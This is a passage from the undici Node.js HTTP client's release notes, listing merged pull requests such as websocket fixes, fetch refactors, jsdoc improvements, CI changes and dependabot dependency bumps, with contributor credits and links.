-   websocket: don't use pooled buffer in mask pool by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3357](https://redirect.github.com/nodejs/undici/pull/3357)
-   fix: consider bytes read when dumping by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3360](https://redirect.github.com/nodejs/undici/pull/3360)
-   refactor: simplify signal handling by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3362](https://redirect.github.com/nodejs/undici/pull/3362)
-   fix: use explicit flag for when use has interacted with stream by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3361](https://redirect.github.com/nodejs/undici/pull/3361)
-   Refactor example documentation structure and add CacheableLookup example by [@&#8203;DarkGL](https://redirect.github.com/DarkGL) in [https://github.com/nodejs/undici/pull/3363](https://redirect.github.com/nodejs/undici/pull/3363)
-   refactor: simplify request error handling by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3364](https://redirect.github.com/nodejs/undici/pull/3364)
-   fix: ensure onConnect is always called by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3327](https://redirect.github.com/nodejs/undici/pull/3327)
-   Refactor responseHeader to responseHeaders by [@&#8203;DarkGL](https://redirect.github.com/DarkGL) in [https://github.com/nodejs/undici/pull/3375](https://redirect.github.com/nodejs/undici/pull/3375)
-   fix: don't override user defined MaxListeners by [@&#8203;fawazahmed0](https://redirect.github.com/fawazahmed0) in [https://github.com/nodejs/undici/pull/3372](https://redirect.github.com/nodejs/undici/pull/3372)
-   fix: forward dispatch return value by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3368](https://redirect.github.com/nodejs/undici/pull/3368)
-   build(deps): bump github/codeql-action from 3.25.7 to 3.25.11 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3382](https://redirect.github.com/nodejs/undici/pull/3382)
-   build(deps): bump codecov/codecov-action from 4.4.1 to 4.5.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3384](https://redirect.github.com/nodejs/undici/pull/3384)
-   build(deps): bump actions/dependency-review-action from 4.3.2 to 4.3.3 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3383](https://redirect.github.com/nodejs/undici/pull/3383)
-   build(deps): bump step-security/harden-runner from 2.8.0 to 2.8.1 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3381](https://redirect.github.com/nodejs/undici/pull/3381)
-   fix: throw on retry when payload is consume by downstream by [@&#8203;climba03003](https://redirect.github.com/climba03003) in [https://github.com/nodejs/undici/pull/3389](https://redirect.github.com/nodejs/undici/pull/3389)
-   Remove file by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3367](https://redirect.github.com/nodejs/undici/pull/3367)
-   build(deps): bump node from `9af472b` to `138d0b5` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3392](https://redirect.github.com/nodejs/undici/pull/3392)
-   feat!: upgrade llhttp to 9.2.0 ([#&#8203;2705](https://redirect.github.com/nodejs/undici/issues/2705)) by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3388](https://redirect.github.com/nodejs/undici/pull/3388)
-   websocket: reduce memory usage by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3393](https://redirect.github.com/nodejs/undici/pull/3393)
-   feat: implement `BodyReadable.bytes` by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3391](https://redirect.github.com/nodejs/undici/pull/3391)
-   websocket: avoid using Buffer.byteLength by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3394](https://redirect.github.com/nodejs/undici/pull/3394)
-   separate whatwg websocket logic from rfc 6455 by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3396](https://redirect.github.com/nodejs/undici/pull/3396)
-   websocket: add fast-path for string input by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3395](https://redirect.github.com/nodejs/undici/pull/3395)
-   Add generic type for opaque object by [@&#8203;jfhr](https://redirect.github.com/jfhr) in [https://github.com/nodejs/undici/pull/3385](https://redirect.github.com/nodejs/undici/pull/3385)
-   build(deps): bump node from `138d0b5` to `67225d4` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3398](https://redirect.github.com/nodejs/undici/pull/3398)
-   interceptors: move throwOnError to interceptor by [@&#8203;mertcanaltin](https://redirect.github.com/mertcanaltin) in [https://github.com/nodejs/undici/pull/3331](https://redirect.github.com/nodejs/undici/pull/3331)
-   chore!: drop interceptors by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3399](https://redirect.github.com/nodejs/undici/pull/3399)
-   build(deps-dev): bump [@&#8203;fastify/busboy](https://redirect.github.com/fastify/busboy) from 2.1.1 to 3.0.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3404](https://redirect.github.com/nodejs/undici/pull/3404)
-   fix: don't call onConnect automatically by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3407](https://redirect.github.com/nodejs/undici/pull/3407)
-   In CITGM, skip tests that are flaky there by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3413](https://redirect.github.com/nodejs/undici/pull/3413)
-   Update esbuild to 0.19.10 by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3415](https://redirect.github.com/nodejs/undici/pull/3415)
-   Fix signature of RetryHandler by [@&#8203;JbIPS](https://redirect.github.com/JbIPS) in [https://github.com/nodejs/undici/pull/3416](https://redirect.github.com/nodejs/undici/pull/3416)
-   docs: fix ToC in CONTRIBUTING.md by [@&#8203;richardlau](https://redirect.github.com/richardlau) in [https://github.com/nodejs/undici/pull/3420](https://redirect.github.com/nodejs/undici/pull/3420)
-   Fix fetch `duplex` docs by [@&#8203;Ethan-Arrowood](https://redirect.github.com/Ethan-Arrowood) in [https://github.com/nodejs/undici/pull/3422](https://redirect.github.com/nodejs/undici/pull/3422)
-   fix: restore externalized Node.js dep compatibility by [@&#8203;richardlau](https://redirect.github.com/richardlau) in [https://github.com/nodejs/undici/pull/3421](https://redirect.github.com/nodejs/undici/pull/3421)
-   fix: cast falsy servername to null to avoid falsy inequality by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3426](https://redirect.github.com/nodejs/undici/pull/3426)
-   Add backport action by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3427](https://redirect.github.com/nodejs/undici/pull/3427)
-   build(deps): bump node from `67225d4` to `858234a` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3411](https://redirect.github.com/nodejs/undici/pull/3411)
-   build(deps): bump github/codeql-action from 3.25.11 to 3.25.15 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3432](https://redirect.github.com/nodejs/undici/pull/3432)
-   build(deps): bump actions/dependency-review-action from 4.3.3 to 4.3.4 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3431](https://redirect.github.com/nodejs/undici/pull/3431)
-   build(deps): bump actions/upload-artifact from 4.3.3 to 4.3.4 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3430](https://redirect.github.com/nodejs/undici/pull/3430)
-   build(deps): bump ossf/scorecard-action from 2.3.3 to 2.4.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3428](https://redirect.github.com/nodejs/undici/pull/3428)
-   build(deps): bump step-security/harden-runner from 2.8.1 to 2.9.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3429](https://redirect.github.com/nodejs/undici/pull/3429)
-   build(deps): bump superagent from 9.0.2 to 10.0.0 in /benchmarks by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3439](https://redirect.github.com/nodejs/undici/pull/3439)
-   build(deps): bump node from `17e6738` to `30c5be9` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3443](https://redirect.github.com/nodejs/undici/pull/3443)
-   docs: use default link of Web Streams API by [@&#8203;trivikr](https://redirect.github.com/trivikr) in [https://github.com/nodejs/undici/pull/3446](https://redirect.github.com/nodejs/undici/pull/3446)
-   fix: increased memory in finalization first appearing in v6.16.0 by [@&#8203;snyamathi](https://redirect.github.com/snyamathi) in [https://github.com/nodejs/undici/pull/3445](https://redirect.github.com/nodejs/undici/pull/3445)
-   test: add test for memory leak by [@&#8203;snyamathi](https://redirect.github.com/snyamathi) in [https://github.com/nodejs/undici/pull/3450](https://redirect.github.com/nodejs/undici/pull/3450)
-   build: parametrize the location of wasm-opt by [@&#8203;khardix](https://redirect.github.com/khardix) in [https://github.com/nodejs/undici/pull/3454](https://redirect.github.com/nodejs/undici/pull/3454)
-   test: streamline test scripts in regard of without-intl and run more tests for without-intl case by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3453](https://redirect.github.com/nodejs/undici/pull/3453)
-   feat!: drop throwOnError by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3451](https://redirect.github.com/nodejs/undici/pull/3451)
-   types: allow non strict HTTPMethod by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3457](https://redirect.github.com/nodejs/undici/pull/3457)
-   build(deps-dev): bump borp from 0.15.0 to 0.17.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3424](https://redirect.github.com/nodejs/undici/pull/3424)
-   remove core isErrored and isReadable by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3459](https://redirect.github.com/nodejs/undici/pull/3459)
-   use bodyUnusable to check if body is unusable by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3460](https://redirect.github.com/nodejs/undici/pull/3460)
-   perf: non-recursive implementation of euclidian gcd in balanced pool by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3461](https://redirect.github.com/nodejs/undici/pull/3461)
-   fix: do validation first before actual business logic, like super() by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3463](https://redirect.github.com/nodejs/undici/pull/3463)
-   use FinalizationRegistry for cloned response body by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3458](https://redirect.github.com/nodejs/undici/pull/3458)
-   perf: use isIPv6 for checking if hostname is isIPv6 by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3466](https://redirect.github.com/nodejs/undici/pull/3466)
-   fix: stripURLForReferrer jsdoc in fetch logic by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3471](https://redirect.github.com/nodejs/undici/pull/3471)
-   fix: remove kInterceptors in ProxyAgent by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3474](https://redirect.github.com/nodejs/undici/pull/3474)
-   fix: fix codesmells in retry-handler by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3475](https://redirect.github.com/nodejs/undici/pull/3475)
-   add autocompletable header types by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3462](https://redirect.github.com/nodejs/undici/pull/3462)
-   fix: add missing kOriginalDispatch Symbol in mock-logic by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3470](https://redirect.github.com/nodejs/undici/pull/3470)
-   fix: fix jsdoc in cookies/parse.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3469](https://redirect.github.com/nodejs/undici/pull/3469)
-   fix: remove unnecessary parameters in USVString calls by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3467](https://redirect.github.com/nodejs/undici/pull/3467)
-   fix: add jsdoc in tree.js, avoiding codesmells by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3476](https://redirect.github.com/nodejs/undici/pull/3476)
-   perf: set isLowerCase param on all calls of HeadersList.append by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3468](https://redirect.github.com/nodejs/undici/pull/3468)
-   fix: instantiation of ResponseError, pass headers and data correctly by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3472](https://redirect.github.com/nodejs/undici/pull/3472)
-   ci: add WPT updater by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3482](https://redirect.github.com/nodejs/undici/pull/3482)
-   meta: move nightly comment body to issue body by [@&#8203;RedYetiDev](https://redirect.github.com/RedYetiDev) in [https://github.com/nodejs/undici/pull/3484](https://redirect.github.com/nodejs/undici/pull/3484)
-   chore: improve jsdoc in cookies by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3478](https://redirect.github.com/nodejs/undici/pull/3478)
-   chore: improve jsdoc and minor changes in EventSource by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3480](https://redirect.github.com/nodejs/undici/pull/3480)
-   types: add Autocomplete utility type by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3479](https://redirect.github.com/nodejs/undici/pull/3479)
-   fix: instantiation of SecureProxyConnectionError should pass options to parent class by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3473](https://redirect.github.com/nodejs/undici/pull/3473)
-   chore: replace standard and snazzy with neostandard by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3485](https://redirect.github.com/nodejs/undici/pull/3485)
-   fix: workflow commit user by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3491](https://redirect.github.com/nodejs/undici/pull/3491)
-   build(deps): bump node from `30c5be9` to `a20e858` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3496](https://redirect.github.com/nodejs/undici/pull/3496)
-   chore: add --noEmit for typescript tests by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3498](https://redirect.github.com/nodejs/undici/pull/3498)
-   perf: only create wasm buffer if requested by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3499](https://redirect.github.com/nodejs/undici/pull/3499)
-   fix(types): MockAgent accepts ProxyAgent, EnvHttpProxyAgent and RetryAgent for agent option by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3497](https://redirect.github.com/nodejs/undici/pull/3497)
-   stricter Headers brand checks in cookies by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3500](https://redirect.github.com/nodejs/undici/pull/3500)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3488](https://redirect.github.com/nodejs/undici/pull/3488)
-   fix: setEncoding should not throw on body [#&#8203;1125](https://redirect.github.com/nodejs/undici/issues/1125) by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3505](https://redirect.github.com/nodejs/undici/pull/3505)
-   websocket: set websocket readyState on fail by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3507](https://redirect.github.com/nodejs/undici/pull/3507)
-   build(deps-dev): bump jsdom from 24.1.3 to 25.0.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3511](https://redirect.github.com/nodejs/undici/pull/3511)
-   build(deps): bump wait-on from 7.2.0 to 8.0.0 in /benchmarks by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3513](https://redirect.github.com/nodejs/undici/pull/3513)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3515](https://redirect.github.com/nodejs/undici/pull/3515)
-   fix: reduce memory usage in client-h1 by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3510](https://redirect.github.com/nodejs/undici/pull/3510)
-   fix: refactor fast timers, fix UND_ERR_CONNECT_TIMEOUT on event loop blocking by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3495](https://redirect.github.com/nodejs/undici/pull/3495)
-   ci: make autobahn workflow reusable workflow, run the autobahn on nightly tests by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3503](https://redirect.github.com/nodejs/undici/pull/3503)
-   remove third party everything support in fetch by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3502](https://redirect.github.com/nodejs/undici/pull/3502)
-   remove double validation in webidl by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3516](https://redirect.github.com/nodejs/undici/pull/3516)
-   test: improve gc detection by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3504](https://redirect.github.com/nodejs/undici/pull/3504)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3519](https://redirect.github.com/nodejs/undici/pull/3519)
-   populate defaultValues in webidl dict. converter when passing null or undefined by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3518](https://redirect.github.com/nodejs/undici/pull/3518)
-   change webidl.util.Type return to an enum value by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3520](https://redirect.github.com/nodejs/undici/pull/3520)
-   set default argument values to undefined instead of {} by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3521](https://redirect.github.com/nodejs/undici/pull/3521)
-   ci: fix nightly workflow by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3525](https://redirect.github.com/nodejs/undici/pull/3525)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3527](https://redirect.github.com/nodejs/undici/pull/3527)
-   remove unused symbol by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3530](https://redirect.github.com/nodejs/undici/pull/3530)
-   fix formdata arg validation by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3529](https://redirect.github.com/nodejs/undici/pull/3529)
-   build(deps): bump github/codeql-action from 3.25.15 to 3.26.6 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3534](https://redirect.github.com/nodejs/undici/pull/3534)
-   build(deps): bump hendrikmuhs/ccache-action from 1.2.13 to 1.2.14 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3536](https://redirect.github.com/nodejs/undici/pull/3536)
-   build(deps): bump step-security/harden-runner from 2.9.0 to 2.9.1 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3535](https://redirect.github.com/nodejs/undici/pull/3535)
-   build(deps): bump actions/upload-artifact from 4.3.4 to 4.4.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3537](https://redirect.github.com/nodejs/undici/pull/3537)
-   Remove patched DOM types by [@&#8203;eXhumer](https://redirect.github.com/eXhumer) in [https://github.com/nodejs/undici/pull/3533](https://redirect.github.com/nodejs/undici/pull/3533)
-   chore: minor changes in client-h1, use subarray instead of slice by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3538](https://redirect.github.com/nodejs/undici/pull/3538)
-   fix: run asserts first if possible by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3541](https://redirect.github.com/nodejs/undici/pull/3541)
-   build(deps): bump node from `a20e858` to `a17f484` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3542](https://redirect.github.com/nodejs/undici/pull/3542)
-   chore: noop per file by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3544](https://redirect.github.com/nodejs/undici/pull/3544)
-   build(deps): bump node from `a17f484` to `ef7b4bb` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3547](https://redirect.github.com/nodejs/undici/pull/3547)
-   chore: rename buildUrl to serializePathWithQuery + jsdoc by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3545](https://redirect.github.com/nodejs/undici/pull/3545)
-   fix: add jsdoc and do minor changes in utils.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3550](https://redirect.github.com/nodejs/undici/pull/3550)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3556](https://redirect.github.com/nodejs/undici/pull/3556)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3561](https://redirect.github.com/nodejs/undici/pull/3561)
-   feat: jsdoc and minor optimizations in client-h1.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3551](https://redirect.github.com/nodejs/undici/pull/3551)
-   fix: handle websocket closed correctly by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3565](https://redirect.github.com/nodejs/undici/pull/3565)
-   fix: extract noop everywhere by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3559](https://redirect.github.com/nodejs/undici/pull/3559)
-   chore: add jsdoc for lib/web/websocket/util.js, minor rewrite of utf8Decode by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3563](https://redirect.github.com/nodejs/undici/pull/3563)
-   jsdoc: lib/api/readable.js, fix some types by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3567](https://redirect.github.com/nodejs/undici/pull/3567)
-   fix: use fasttimers for all connection timeouts by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3552](https://redirect.github.com/nodejs/undici/pull/3552)
-   chore: use 'use strict' in cjs files by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3568](https://redirect.github.com/nodejs/undici/pull/3568)
-   chore: update typescript testing deps by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3571](https://redirect.github.com/nodejs/undici/pull/3571)
-   build(deps)!: bump concurrently from 8.2.2 to 9.0.0 in /benchmarks (node < 18 unsupported) by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3574](https://redirect.github.com/nodejs/undici/pull/3574)
-   build(deps): bump node from `ef7b4bb` to `3cb4748` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3573](https://redirect.github.com/nodejs/undici/pull/3573)
-   chore: improve jsdoc of lib/core/tree.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3572](https://redirect.github.com/nodejs/undici/pull/3572)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3576](https://redirect.github.com/nodejs/undici/pull/3576)
-   jsdoc: improve typing of deepClone by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3575](https://redirect.github.com/nodejs/undici/pull/3575)
-   chore: improve jsdoc of lib/core/constants.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3570](https://redirect.github.com/nodejs/undici/pull/3570)
-   chore: upgrade fixed queue, lint accordingly, add jsdoc by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3577](https://redirect.github.com/nodejs/undici/pull/3577)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3581](https://redirect.github.com/nodejs/undici/pull/3581)
-   ci: less flaky test/request-timeout.js test by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3580](https://redirect.github.com/nodejs/undici/pull/3580)
-   chore: remove pluralizer by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3586](https://redirect.github.com/nodejs/undici/pull/3586)
-   util: rename validateHandler to assertRequestHandler, minor changes in util.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3583](https://redirect.github.com/nodejs/undici/pull/3583)
-   mock: remove Error.captureStackTrace in MockNotMatchedError by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3587](https://redirect.github.com/nodejs/undici/pull/3587)
-   fix: DRY up lib/core/diagnostics.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3585](https://redirect.github.com/nodejs/undici/pull/3585)
-   fix: husky deprecation warning by [@&#8203;eXhumer](https://redirect.github.com/eXhumer) in [https://github.com/nodejs/undici/pull/3593](https://redirect.github.com/nodejs/undici/pull/3593)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3598](https://redirect.github.com/nodejs/undici/pull/3598)
-   chore: remove unused `pre-commit` dependency by [@&#8203;eXhumer](https://redirect.github.com/eXhumer) in [https://github.com/nodejs/undici/pull/3599](https://redirect.github.com/nodejs/undici/pull/3599)
-   diagnostics-channel: use not deprecated subscribe fn by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3600](https://redirect.github.com/nodejs/undici/pull/3600)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3607](https://redirect.github.com/nodejs/undici/pull/3607)
-   fetch: make fullyReadBody sync by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3603](https://redirect.github.com/nodejs/undici/pull/3603)
-   jsdoc: add jsdoc to lib/web/fetch/constants.js by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3597](https://redirect.github.com/nodejs/undici/pull/3597)
-   fetch: pullAlgorithm passes the async resume function through by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3604](https://redirect.github.com/nodejs/undici/pull/3604)
-   fix: typo in Client.md by [@&#8203;SkeLLLa](https://redirect.github.com/SkeLLLa) in [https://github.com/nodejs/undici/pull/3612](https://redirect.github.com/nodejs/undici/pull/3612)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3615](https://redirect.github.com/nodejs/undici/pull/3615)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3622](https://redirect.github.com/nodejs/undici/pull/3622)
-   fetch: avoid async function in mainFetch to generate response by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3605](https://redirect.github.com/nodejs/undici/pull/3605)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3626](https://redirect.github.com/nodejs/undici/pull/3626)
-   append crlf to formdata body by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3625](https://redirect.github.com/nodejs/undici/pull/3625)
-   fix: fire `close` on failed WebSocket connection by [@&#8203;eXhumer](https://redirect.github.com/eXhumer) in [https://github.com/nodejs/undici/pull/3566](https://redirect.github.com/nodejs/undici/pull/3566)
-   fix: fire close on failed WebSocket connection by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3628](https://redirect.github.com/nodejs/undici/pull/3628)
